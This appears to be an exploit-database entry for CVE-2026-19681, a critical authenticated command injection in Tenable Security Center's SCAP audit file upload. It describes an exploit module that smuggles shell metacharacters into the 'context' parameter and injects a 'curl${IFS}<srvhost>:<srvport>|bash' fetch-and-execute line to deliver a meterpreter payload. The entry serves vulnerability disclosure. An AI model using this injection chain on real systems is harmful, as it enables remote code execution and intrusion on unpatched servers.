Tenable Security Center prior to 6.9.0 allows an authenticated user to achieve command execution as the web service account (tns) via the SCAP audit file upload flow. Filesystem::saveTmp() builds staged upload filenames from the raw client-supplied `context` form parameter (tempnam prefix), which is not charset-validated. Referencing that staged file in a POST /rest/auditFile (type=scapLinux, version=1.2) request reaches AuditFileLib::addSCAPTailoringFile(), where the zip repack command interpolates the derived path unescaped: exec("{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc"); basename() strips '/' but not shell metacharacters, so a context like `p;CMD;` executes CMD through /bin/sh. Constraints (measured on 6.7.2): the staged-name prefix survives only ~50 characters of context and may not contain '/' (saveTmp() applies basename()). This module therefore serves the payload over HTTP and injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port GETs / and bash reads the served script from stdin). The served script itself has no such limits, which the Linux Dropper target exploits with a fetch payload (cmd/linux/http/...) that downloads and execs a full native payload (e.g. x64 meterpreter) from the payload adapter's own listener on FETCH_SRVPORT. Tested against SecurityCenter 6.7.2-14 on RHEL9.
Exploit database
Vulnerability
CVE-2026-19681
Command Injection
Vulnerability details
- Score
- 9.4
- Severity
- critical
CVSS 4.0 · tenable
Vector string
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:HDescription
An authenticated command injection vulnerability exists in Security Center related to file upload processing. An attacker could exploit this issue by uploading a specially crafted file, potentially resulting in arbitrary command execution on the underlying operating system.
CVE ProgramExploit source choices
1 sourceTenable Security Center SCAP Audit File Command Injection
2026-08-13tenable_sc_auditfile_cmdinject_cve_2026_19681.rb